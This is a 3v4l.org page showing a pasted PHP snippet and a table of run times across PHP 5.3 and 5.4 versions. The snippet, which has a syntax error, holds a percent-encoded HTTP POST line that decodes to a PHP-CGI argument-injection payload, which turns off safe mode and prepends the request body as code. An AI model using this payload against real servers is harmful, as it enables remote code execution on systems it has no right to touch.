3v4l.org

run code in 300+ PHP versions simultaneously
<?php $bitmask = = "POST %s?%%2D%%64+%%61%%6C%%6C%%6F%%77%%5F" \ "%%75%%72%%6C%%5F%%69%%6E%%63%%6C%%75%%64%%65%%3D%%6F%%6E+%%2D%%64" \ "+%%73%%61%%66%%65%%5F%%6D%%6F%%64%%65%%3D%%6F%%66%%66+%%2D%%64+%%73" \ "%%75%%68%%6F%%73%%69%%6E%%2E%%73%%69%%6D%%75%%6C%%61%%74%%69%%6F%%6E" \ "%%3D%%6F%%6E+%%2D%%64+%%64%%69%%73%%61%%62%%6C%%65%%5F%%66%%75%%6E%%63" \ "%%74%%69%%6F%%6E%%73%%3D%%22%%22+%%2D%%64+%%6F%%70%%65%%6E%%5F%%62" \ "%%61%%73%%65%%64%%69%%72%%3D%%6E%%6F%%6E%%65+%%2D%%64+%%61%%75%%74" \ "%%6F%%5F%%70%%72%%65%%70%%65%%6E%%64%%5F%%66%%69%%6C%%65%%3D%%70%%68" \ "%%70%%3A%%2F%%2F%%69%%6E%%70%%75%%74+%%2D%%64+%%63%%67%%69%%2E%%66%%6F" \ "%%72%%63%%65%%5F%%72%%65%%64%%69%%72%%65%%63%%74%%3D%%30+%%2D%%64+%%63" \ "%%67%%69%%2E%%72%%65%%64%%69%%72%%65%%63%%74%%5F%%73%%74%%61%%74%%75%%73" \ "%%5F%%65%%6E%%76%%3D%%30+%%2D%%6E HTTP/1.1\r\n" ?>

Here you find the average performance (time & memory) of each version. A grayed out version indicates it didn't complete successfully (based on exit-code).

VersionSystem time (s)User time (s)Memory (MiB)
5.4.210.0160.04312.37
5.4.200.0210.04712.37
5.4.190.0180.04012.37
5.4.180.0170.04312.37
5.4.170.0140.04412.37
5.4.160.0180.04312.37
5.4.150.0140.04612.36
5.4.140.0140.04612.06
5.4.130.0190.04312.04
5.4.120.0180.04112.00
5.4.110.0150.04812.00
5.4.100.0180.04312.00
5.4.90.0190.04612.00
5.4.80.0190.04112.00
5.4.70.0160.04312.00
5.4.60.0170.04112.00
5.4.50.0180.04011.99
5.4.40.0170.04411.98
5.4.30.0210.03911.98
5.4.20.0190.04111.97
5.4.10.0220.05211.98
5.4.00.0220.07311.47
5.3.270.0170.05012.72
5.3.260.0270.04312.72
5.3.250.0350.07212.72
5.3.240.0210.05012.72
5.3.230.0190.05312.71
5.3.220.0110.05412.68
5.3.210.0470.08512.68
5.3.200.0230.04412.68
5.3.190.0210.04712.68
5.3.180.0260.04612.68
5.3.170.0200.05412.67
5.3.160.0230.05112.68
5.3.150.0250.04312.67
5.3.140.0190.05712.66
5.3.130.0230.05612.66
5.3.120.0180.05512.65
5.3.110.0210.04312.65
5.3.100.0210.05312.12
5.3.90.0190.04312.08
5.3.80.0240.04312.07
5.3.70.0160.04912.07
5.3.60.0170.04912.06
5.3.50.0170.04712.00
5.3.40.0180.04812.00
5.3.30.0180.04611.94
5.3.20.0200.04611.71
5.3.10.0200.04211.67
5.3.00.0230.04011.66

preferences:
134.96 ms | 1394 KiB | 7 Q